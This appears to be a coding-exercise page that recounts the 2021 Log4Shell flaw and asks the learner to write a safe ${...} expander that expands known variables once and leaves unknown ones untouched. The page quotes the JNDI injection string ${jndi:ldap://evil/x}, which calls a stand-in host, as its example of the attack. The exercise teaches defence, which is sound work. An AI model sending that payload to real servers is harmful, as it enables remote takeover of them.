December 2021. Log4Shell. Log4j, a logging library sitting inside untold millions of Java servers, expanded little ${...} snippets it found in log messages, and it followed them recursively, all the way to fetching code over the network. So logging a single string like ${jndi:ldap://evil/x} could hand your server to a stranger. It was everywhere, it was the week before Christmas, and the whole industry patched at once. Here you build the safe version: expand the variables you know, once, and leave everything else exactly as it came in.
Objective
Expand known ${...} variables once, leaving unknown placeholders untouched and never re-expanding a result.
Steps
$ expand(out, "hi ${user}")
[hi neo]
$ expand(out, "${user}@${env}")
[neo@prod]
$ expand(out, "${unknown}")
[${unknown}]
Expected files
Allowed functions
None. Write every helper yourself.
Loading solutions...